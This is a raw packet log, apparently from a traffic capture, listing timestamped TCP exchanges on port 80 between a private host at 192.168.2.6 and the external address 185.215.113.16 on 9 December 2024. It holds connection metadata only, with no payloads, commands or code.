Dec 9, 2024 18:20:53.707891941 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.708344936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.708386898 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.708509922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.708559036 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.709017038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.709064007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.709129095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.709177971 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.709527969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.709577084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.709707975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.709757090 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.710201979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.710251093 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.710278988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.710324049 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.710917950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.710966110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.711045027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.711093903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.711705923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.711751938 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.711915016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.711962938 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.712507010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.712553978 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.712635994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.712685108 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.712930918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.712976933 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.713131905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.713179111 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.713454962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.713495970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.713566065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.713610888 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.714107990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.714153051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.714163065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.714207888 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.714756012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.714802980 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.715193987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.715238094 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.715487003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.715536118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.715564013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.715606928 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.715970039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.716016054 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.716075897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.716121912 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.716509104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.716559887 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.716605902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.716654062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.717077971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.717125893 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.717236996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.717283010 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.717814922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.717863083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.718075991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.718125105 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.718451977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.718497992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.875966072 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.876022100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.876055956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.876089096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.876271963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.876319885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.876533031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.876579046 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.876864910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.876913071 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.876995087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.877041101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.877620935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.877664089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.877988100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.878034115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.878303051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.878348112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.878391027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.878432989 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.878885031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.878931046 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.879075050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.879118919 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.879760027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.879806995 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.880184889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.880230904 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.880358934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.880403042 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.880585909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.880633116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.880935907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.880978107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.881108046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.881149054 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.881572008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.881616116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.881741047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.881793022 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.882422924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.882441044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.882467985 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.882483006 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.882865906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.882913113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.883008957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.883053064 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.883512974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.883559942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.883724928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.883769989 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.884164095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.884210110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.884334087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.884380102 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.885023117 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.885035038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.885063887 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.885086060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.885540962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.885590076 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.885725975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.885776043 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.886194944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.886238098 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.886363983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.886408091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.886996984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.887037039 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.887234926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.887280941 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.887505054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.887559891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.887681007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.887727022 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.888161898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.888209105 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.888246059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.888290882 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.888859987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.888902903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.888958931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.889008045 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.889722109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.889801979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.889942884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.889990091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.890357018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.890407085 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.890495062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.890542984 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.891171932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.891218901 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.891293049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.891326904 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.891840935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.891890049 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.891926050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.891968966 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.892550945 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.892592907 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.892739058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.892782927 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.893034935 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.893081903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.893109083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.893157959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.893773079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.893821955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.893838882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.893872023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.894630909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.894644022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.894679070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.894908905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.894957066 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.894992113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.895037889 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.895600080 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.895644903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.895725012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.895772934 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.896317005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.896367073 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.896517038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.896560907 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.897526026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.897573948 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.897876024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.897924900 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.898267031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.898313046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.898317099 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.898355007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.898855925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.898901939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.898910046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.898951054 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.899399996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.899447918 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.899599075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.899646997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.900054932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.900099993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.900301933 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.900346994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.900589943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.900641918 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.900669098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.900717020 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.901225090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.901268959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.901307106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.901351929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.902045012 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.902065039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.902091026 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.902112961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.902673960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.902721882 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.902878046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.902921915 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.903301001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.903347969 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.903414011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.903459072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.903779030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.903822899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.903897047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.903943062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.904356956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.904397011 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.904522896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.904567957 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.904849052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.904894114 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.904930115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.904982090 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.905492067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.905534983 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.905594110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.905637026 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.906097889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.906151056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.906229973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.906272888 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.906851053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.906897068 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.907071114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.907119036 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.907459021 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.907504082 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.907608032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.907651901 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.908247948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.908289909 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.908406019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.908461094 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.909290075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.909338951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.909508944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.909553051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.909756899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.909804106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.909866095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.909912109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.910343885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.910387039 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.910449982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.910495043 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.910902977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.910948992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.068489075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.068607092 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.068667889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.068715096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.069000959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.069046021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.069176912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.069220066 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.069503069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.069546938 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.069879055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.069933891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.070005894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.070049047 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.070574999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.070589066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.070632935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.070856094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.070909977 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.071086884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.071139097 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.071566105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.071615934 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.071710110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.071759939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.072241068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.072252989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.072293997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.072653055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.072702885 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.072891951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.072937012 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.073343992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.073395014 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.073395967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.073436022 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.073940992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.073986053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.074050903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.074096918 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.074541092 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.074587107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.074661016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.074708939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.075272083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.075329065 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.075512886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.075556993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.075901985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.075951099 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.076018095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.076065063 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.079372883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.079387903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.079401016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.079415083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.079454899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.079493999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:54.079503059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:54.079508066 CET	80	49828	185.215.113.16	192.168.2.6
